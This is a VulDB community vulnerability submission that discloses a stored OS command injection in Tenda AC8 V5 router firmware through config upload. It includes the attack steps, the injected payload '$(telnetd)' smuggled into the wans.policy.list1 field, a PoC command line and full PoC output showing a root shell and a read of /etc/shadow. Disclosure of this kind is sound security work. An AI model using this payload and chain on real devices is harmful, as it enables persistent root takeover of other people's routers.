COMMUNITY CONTENT

Home › Submit › 771771

Submit #771771: Tenda AC8 V5 V16.03.50.11 OS Command Injection

Title Tenda AC8 V5 V16.03.50.11 OS Command Injection

Description The netctrl daemon in Tenda AC8 V5.0 firmware contains a stored OS command injection vulnerability in its policy rule processing function route_set_user_policy_rule. Config values stored via cfm (configuration manager) are read using GetValue(), parsed by sscanf(), and passed directly to doSystemCmd() — which internally calls system() — without any sanitization of shell metacharacters.

An attacker who can upload a config file via the web interface (/cgi-bin/UploadCfg) can inject arbitrary shell commands into the wans.policy.list1 config key. The injected command executes as root when netctrl processes the policy rules at boot via route_init().

The injection is persistent: the malicious config value is stored in flash memory and survives reboots. The injected command executes on every boot until the device is factory reset.

Attack Flow
1. Authenticate to the web interface (requires admin password but can be bypassed with other exploit)
2. Download the current config via /cgi-bin/DownloadCfg
3. Inject three config keys: wans.policy.enable=1, wans.policy.listnum=1, and wans.policy.list1 with a command substitution payload in the destination IP field
4. Upload the modified config via /cgi-bin/UploadCfg (triggers automatic reboot)
5. On reboot, netctrl → route_init() → route_set_user_policy_rule() → doSystemCmd() → system() evaluates the injected command as root

A complete POC script (poc_cmdi_config_upload.py) automates the full attack:

```
python3 poc_cmdi_config_upload.py \
    --target http://192.168.0.1 \
    --current-password password123
```

Output (confirmed on live device 2025-03-04):

```
==========================================================
  Tenda AC8 — Stored Command Injection via Config Upload
  → netctrl route_set_user_policy_rule → doSystemCmd → Root Shell
==========================================================

  Target:      http://192.168.0.1
```

Community Content

Submissions are made by VulDB community users. VulDB is *not responsible* for their content nor the links to external sources.

Please use the raw information shown and the links listed *with caution*. They might contain malicious and harmful actions, code or data.

The corresponding VulDB entries contain the moderated, verified, and normalized information provided within the raw submission.

Documentation

- Submission Policy
- Data Processing
- CVE Handling

Injection: wans.policy.list1=192.168.0.1-192.168.0.2;$(telnetd);80-443;1;1
Sink: doSystemCmd("iptables ... -d $(telnetd) ...")
Effect: system() evaluates $(telnetd) → telnetd on port 23
Persistence: survives reboots (stored in cfm config)

[*] Step 1: Logging in to httpd...
Password: password123 → MD5: 482c811da5d5b4bc6d497ffa98491e38
[+] Login successful!

[*] Step 2: Downloading current config...
[+] Downloaded config: 21957 bytes, 980 lines

[*] Step 3: Injecting command payload into config...
Payload: wans.policy.enable=1
Payload: wans.policy.listnum=1
Payload: wans.policy.list1=192.168.0.1-192.168.0.2;$(telnetd);80-443;1;1
[+] Config modified: 22049 bytes

[*] Step 4: Uploading poisoned config...
[+] Config accepted! Device is rebooting...

[*] Step 5: Waiting for device to reboot (70s max)...
[+] Device is back online! (after ~33s)

[*] Step 6: Checking for telnet on 192.168.0.1:23...
[+] TELNET IS OPEN on 192.168.0.1:23!

[*] Step 7: Logging into telnet as root...
[+] ROOT SHELL ACTIVE!
$ cat /etc/shadow
root:1<redacted>:0:0:99999:7::

==========
RESULT: ROOT SHELL OBTAINED — FULL DEVICE COMPROMISE
==========

UART Console Evidence
Simultaneous UART monitoring confirmed the injection chain:

argv[0] = netctrl
netctrl
[netctrl_start_services][1976]
...
Post-boot verification via UART:

~ # cfm get wans.policy.enable
1
~ # cfm get wans.policy.list1
192.168.0.1-192.168.0.2;$(telnetd);80-443;1;1
~ # netstat -tlnp | grep 23
tcp 0 0 :::23 :::* LISTEN 1650/telnetd

Source	https://github.com/digitalandrew/tenda_ac8_v5/blob/main/poc_cmdi_config_upload.py
User	DigitalAndrew (UID 96122)
Submission	03/04/2026 08:50 PM (1 month ago)
Moderation	03/16/2026 07:16 AM (11 days later)
Status	Published
VulDB entry	359177 [Tenda AC8 16.03.50.11 Web Interface /cgi-bin/UploadCfg route_set_user_policy_rule wans.policy.list1 os command injection]
Points	20